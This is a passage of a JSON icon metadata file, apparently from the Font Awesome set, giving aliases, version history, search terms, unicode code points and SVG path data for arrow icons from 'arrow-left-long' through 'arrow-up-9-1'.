    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["back", "long-arrow-left", "previous"]
    },
    "styles": ["solid"],
    "unicode": "f177",
    "label": "Arrow Left Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288 480 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-370.7 0 73.4-73.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-128 128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M9.4 233.4c-12.5 12.5-12.5 32.8 0 45.3l128 128c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 288 480 288c17.7 0 32-14.3 32-32s-14.3-32-32-32l-370.7 0 73.4-73.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-128 128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-pointer": {
    "aliases": {
      "names": ["mouse-pointer"],
      "unicodes": {
        "secondary": ["10f245"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.1.2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "cursor", "select"]
    },
    "styles": ["solid"],
    "unicode": "f245",
    "label": "Arrow Pointer",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M0 55.2V426c0 12.2 9.9 22 22 22c6.3 0 12.4-2.7 16.6-7.5L121.2 346l58.1 116.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9L179.8 320H297.9c12.2 0 22.1-9.9 22.1-22.1c0-6.3-2.7-12.3-7.4-16.5L38.6 37.9C34.3 34.1 28.9 32 23.2 32C10.4 32 0 42.4 0 55.2z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M0 55.2V426c0 12.2 9.9 22 22 22c6.3 0 12.4-2.7 16.6-7.5L121.2 346l58.1 116.3c7.9 15.8 27.1 22.2 42.9 14.3s22.2-27.1 14.3-42.9L179.8 320H297.9c12.2 0 22.1-9.9 22.1-22.1c0-6.3-2.7-12.3-7.4-16.5L38.6 37.9C34.3 34.1 28.9 32 23.2 32C10.4 32 0 42.4 0 55.2z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right": {
    "aliases": {
      "unicodes": {
        "composite": ["2192"],
        "secondary": ["10f061"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Rightwards Arrow", "forward", "next"]
    },
    "styles": ["solid"],
    "unicode": "f061",
    "label": "Arrow Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M438.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.8 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l306.7 0L233.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M438.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-160-160c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.8 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l306.7 0L233.4 393.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l160-160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-arrow-left": {
    "aliases": {
      "names": ["exchange"],
      "unicodes": {
        "composite": ["21c4"],
        "secondary": ["10f0ec"]
      }
    },
    "changes": [
      "3.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.2.1",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Rightwards Arrow Over Leftwards Arrow",
        "arrow",
        "arrows",
        "reciprocate",
        "return",
        "swap",
        "transfer"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0ec",
    "label": "Arrow Right Arrow Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M438.6 150.6c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.7 96 32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l306.7 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l96-96zm-333.3 352c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 416 416 416c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M438.6 150.6c12.5-12.5 12.5-32.8 0-45.3l-96-96c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L338.7 96 32 96C14.3 96 0 110.3 0 128s14.3 32 32 32l306.7 0-41.4 41.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l96-96zm-333.3 352c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L109.3 416 416 416c17.7 0 32-14.3 32-32s-14.3-32-32-32l-306.7 0 41.4-41.4c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0l-96 96c-12.5 12.5-12.5 32.8 0 45.3l96 96z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-from-bracket": {
    "aliases": {
      "names": ["sign-out"],
      "unicodes": {
        "secondary": ["10f08b"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrow", "exit", "leave", "log out", "logout"]
    },
    "styles": ["solid"],
    "unicode": "f08b",
    "label": "Arrow Right From Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766332,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 192 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128zM160 96c17.7 0 32-14.3 32-32s-14.3-32-32-32L96 32C43 32 0 75 0 128L0 384c0 53 43 96 96 96l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32l0-256c0-17.7 14.3-32 32-32l64 0z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 192 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128zM160 96c17.7 0 32-14.3 32-32s-14.3-32-32-32L96 32C43 32 0 75 0 128L0 384c0 53 43 96 96 96l64 0c17.7 0 32-14.3 32-32s-14.3-32-32-32l-64 0c-17.7 0-32-14.3-32-32l0-256c0-17.7 14.3-32 32-32l64 0z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-long": {
    "aliases": {
      "names": ["long-arrow-right"],
      "unicodes": {
        "secondary": ["10f178"]
      }
    },
    "changes": ["3.2.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["forward", "long-arrow-right", "next"]
    },
    "styles": ["solid"],
    "unicode": "f178",
    "label": "Arrow Right Long",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l370.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M502.6 278.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L402.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l370.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-to-bracket": {
    "aliases": {
      "names": ["sign-in"],
      "unicodes": {
        "secondary": ["10f090"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "arrow",
        "enter",
        "join",
        "log in",
        "login",
        "sign in",
        "sign up",
        "sign-in",
        "signin",
        "signup"
      ]
    },
    "styles": ["solid"],
    "unicode": "f090",
    "label": "Arrow Right To Bracket",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766331,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M352 96l64 0c17.7 0 32 14.3 32 32l0 256c0 17.7-14.3 32-32 32l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c53 0 96-43 96-96l0-256c0-53-43-96-96-96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32zm-9.4 182.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L242.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M352 96l64 0c17.7 0 32 14.3 32 32l0 256c0 17.7-14.3 32-32 32l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32l64 0c53 0 96-43 96-96l0-256c0-53-43-96-96-96l-64 0c-17.7 0-32 14.3-32 32s14.3 32 32 32zm-9.4 182.6c12.5-12.5 12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3L242.7 224 32 224c-17.7 0-32 14.3-32 32s14.3 32 32 32l210.7 0-73.4 73.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l128-128z"
      }
    },
    "free": ["solid"]
  },
  "arrow-right-to-city": {
    "changes": ["6.1.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["building", "city", "exodus", "rural", "urban"]
    },
    "styles": ["solid"],
    "unicode": "e4b3",
    "label": "Arrow Right To City",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766827,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM166.6 153.4l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L146.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H146.7l-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M288 48c0-26.5 21.5-48 48-48h96c26.5 0 48 21.5 48 48V192h40V120c0-13.3 10.7-24 24-24s24 10.7 24 24v72h24c26.5 0 48 21.5 48 48V464c0 26.5-21.5 48-48 48H432 336c-26.5 0-48-21.5-48-48V48zm64 32v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V80c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm16 80c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V176c0-8.8-7.2-16-16-16H368zM352 272v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H368c-8.8 0-16 7.2-16 16zm176-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V272c0-8.8-7.2-16-16-16H528zM512 368v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H528c-8.8 0-16 7.2-16 16zM166.6 153.4l80 80c12.5 12.5 12.5 32.8 0 45.3l-80 80c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3L146.7 288H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H146.7l-25.4-25.4c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0z"
      }
    },
    "free": ["solid"]
  },
  "arrow-rotate-left": {
    "aliases": {
      "names": [
        "arrow-left-rotate",
        "arrow-rotate-back",
        "arrow-rotate-backward",
        "undo"
      ],
      "unicodes": {
        "composite": ["21ba"],
        "secondary": ["10f0e2"]
      }
    },
    "changes": ["2.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "Anticlockwise Open Circle Arrow",
        "back",
        "control z",
        "exchange",
        "oops",
        "return",
        "rotate",
        "swap"
      ]
    },
    "styles": ["solid"],
    "unicode": "f0e2",
    "label": "Arrow Rotate Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M125.7 160H176c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32s32 14.3 32 32v51.2L97.6 97.6c87.5-87.5 229.3-87.5 316.8 0s87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3s-163.8-62.5-226.3 0L125.7 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M125.7 160H176c17.7 0 32 14.3 32 32s-14.3 32-32 32H48c-17.7 0-32-14.3-32-32V64c0-17.7 14.3-32 32-32s32 14.3 32 32v51.2L97.6 97.6c87.5-87.5 229.3-87.5 316.8 0s87.5 229.3 0 316.8s-229.3 87.5-316.8 0c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0c62.5 62.5 163.8 62.5 226.3 0s62.5-163.8 0-226.3s-163.8-62.5-226.3 0L125.7 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-rotate-right": {
    "aliases": {
      "names": ["arrow-right-rotate", "arrow-rotate-forward", "redo"],
      "unicodes": {
        "composite": ["21bb"],
        "secondary": ["10f01e"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.8.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Clockwise Open Circle Arrow",
        "forward",
        "refresh",
        "reload",
        "repeat"
      ]
    },
    "styles": ["solid"],
    "unicode": "f01e",
    "label": "Arrow Rotate Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H464c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0s-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3s163.8-62.5 226.3 0L386.3 160z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M386.3 160H336c-17.7 0-32 14.3-32 32s14.3 32 32 32H464c17.7 0 32-14.3 32-32V64c0-17.7-14.3-32-32-32s-32 14.3-32 32v51.2L414.4 97.6c-87.5-87.5-229.3-87.5-316.8 0s-87.5 229.3 0 316.8s229.3 87.5 316.8 0c12.5-12.5 12.5-32.8 0-45.3s-32.8-12.5-45.3 0c-62.5 62.5-163.8 62.5-226.3 0s-62.5-163.8 0-226.3s163.8-62.5 226.3 0L386.3 160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-trend-down": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["line", "stocks", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e097",
    "label": "Arrow Trend Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 352c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v82.7L342.6 137.4c-12.5-12.5-32.8-12.5-45.3 0L192 242.7 54.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0L320 205.3 466.7 352H384z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 352c-17.7 0-32 14.3-32 32s14.3 32 32 32H544c17.7 0 32-14.3 32-32V224c0-17.7-14.3-32-32-32s-32 14.3-32 32v82.7L342.6 137.4c-12.5-12.5-32.8-12.5-45.3 0L192 242.7 54.6 105.4c-12.5-12.5-32.8-12.5-45.3 0s-12.5 32.8 0 45.3l160 160c12.5 12.5 32.8 12.5 45.3 0L320 205.3 466.7 352H384z"
      }
    },
    "free": ["solid"]
  },
  "arrow-trend-up": {
    "changes": ["6.0.0-beta1", "6.0.0-beta3", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["line", "stocks", "trend"]
    },
    "styles": ["solid"],
    "unicode": "e098",
    "label": "Arrow Trend Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32s-32-14.3-32-32V205.3L342.6 374.6c-12.5 12.5-32.8 12.5-45.3 0L192 269.3 54.6 406.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160c12.5-12.5 32.8-12.5 45.3 0L320 306.7 466.7 160H384z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 160c-17.7 0-32-14.3-32-32s14.3-32 32-32H544c17.7 0 32 14.3 32 32V288c0 17.7-14.3 32-32 32s-32-14.3-32-32V205.3L342.6 374.6c-12.5 12.5-32.8 12.5-45.3 0L192 269.3 54.6 406.6c-12.5 12.5-32.8 12.5-45.3 0s-12.5-32.8 0-45.3l160-160c12.5-12.5 32.8-12.5 45.3 0L320 306.7 466.7 160H384z"
      }
    },
    "free": ["solid"]
  },
  "arrow-turn-down": {
    "aliases": {
      "names": ["level-down"],
      "unicodes": {
        "secondary": ["10f149"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow"]
    },
    "styles": ["solid"],
    "unicode": "f149",
    "label": "Arrow Turn Down",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 64C14.3 64 0 49.7 0 32S14.3 0 32 0l96 0c53 0 96 43 96 96l0 306.7 73.4-73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-128 128c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 402.7 160 96c0-17.7-14.3-32-32-32L32 64z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 64C14.3 64 0 49.7 0 32S14.3 0 32 0l96 0c53 0 96 43 96 96l0 306.7 73.4-73.4c12.5-12.5 32.8-12.5 45.3 0s12.5 32.8 0 45.3l-128 128c-12.5 12.5-32.8 12.5-45.3 0l-128-128c-12.5-12.5-12.5-32.8 0-45.3s32.8-12.5 45.3 0L160 402.7 160 96c0-17.7-14.3-32-32-32L32 64z"
      }
    },
    "free": ["solid"]
  },
  "arrow-turn-up": {
    "aliases": {
      "names": ["level-up"],
      "unicodes": {
        "secondary": ["10f148"]
      }
    },
    "changes": [
      "3.1.0",
      "5.0.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrow"]
    },
    "styles": ["solid"],
    "unicode": "f148",
    "label": "Arrow Turn Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32l96 0c53 0 96-43 96-96l0-306.7 73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3 160 416c0 17.7-14.3 32-32 32l-96 0z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 448c-17.7 0-32 14.3-32 32s14.3 32 32 32l96 0c53 0 96-43 96-96l0-306.7 73.4 73.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-128-128c-12.5-12.5-32.8-12.5-45.3 0l-128 128c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 109.3 160 416c0 17.7-14.3 32-32 32l-96 0z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up": {
    "aliases": {
      "unicodes": {
        "composite": ["2191"],
        "secondary": ["10f062"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta2",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Upwards Arrow", "forward", "upload"]
    },
    "styles": ["solid"],
    "unicode": "f062",
    "label": "Arrow Up",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766329,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M214.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 141.2V448c0 17.7 14.3 32 32 32s32-14.3 32-32V141.2L329.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M214.6 41.4c-12.5-12.5-32.8-12.5-45.3 0l-160 160c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0L160 141.2V448c0 17.7 14.3 32 32 32s32-14.3 32-32V141.2L329.4 246.6c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3l-160-160z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-1-9": {
    "aliases": {
      "names": ["sort-numeric-up"],
      "unicodes": {
        "secondary": ["10f163"]
      }
    },
    "changes": [
      "3.2.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-desc"]
    },
    "styles": ["solid"],
    "unicode": "f163",
    "label": "Arrow Up 1 9",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M450.7 38c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V108.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zM160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM445.7 364.9A32 32 0 1 0 418.3 307a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 408.4 344 375.2 344 336c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 467c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M450.7 38c8.3 6 13.3 15.7 13.3 26v96h16c17.7 0 32 14.3 32 32s-14.3 32-32 32H432 384c-17.7 0-32-14.3-32-32s14.3-32 32-32h16V108.4l-5.9 2c-16.8 5.6-34.9-3.5-40.5-20.2s3.5-34.9 20.2-40.5l48-16c9.8-3.3 20.5-1.6 28.8 4.4zM160 32c9 0 17.5 3.8 23.6 10.4l88 96c11.9 13 11.1 33.3-2 45.2s-33.3 11.1-45.2-2L192 146.3V448c0 17.7-14.3 32-32 32s-32-14.3-32-32V146.3L95.6 181.6c-11.9 13-32.2 13.9-45.2 2s-13.9-32.2-2-45.2l88-96C142.5 35.8 151 32 160 32zM445.7 364.9A32 32 0 1 0 418.3 307a32 32 0 1 0 27.4 57.9zm-40.7 54.9C369.6 408.4 344 375.2 344 336c0-48.6 39.4-88 88-88s88 39.4 88 88c0 23.5-7.5 46.3-21.5 65.2L449.7 467c-10.5 14.2-30.6 17.2-44.8 6.7s-17.2-30.6-6.7-44.8l6.8-9.2z"
      }
    },
    "free": ["solid"]
  },
  "arrow-up-9-1": {
    "aliases": {
      "names": ["sort-numeric-up-alt"],
      "unicodes": {
        "secondary": ["10f887"]
      }
    },
    "changes": ["5.9.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["arrange", "filter", "numbers", "order", "sort-numeric-desc"]
    },
    "styles": ["solid"],
    "unicode": "f887",
    "label": "Arrow Up 9 1",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766330,
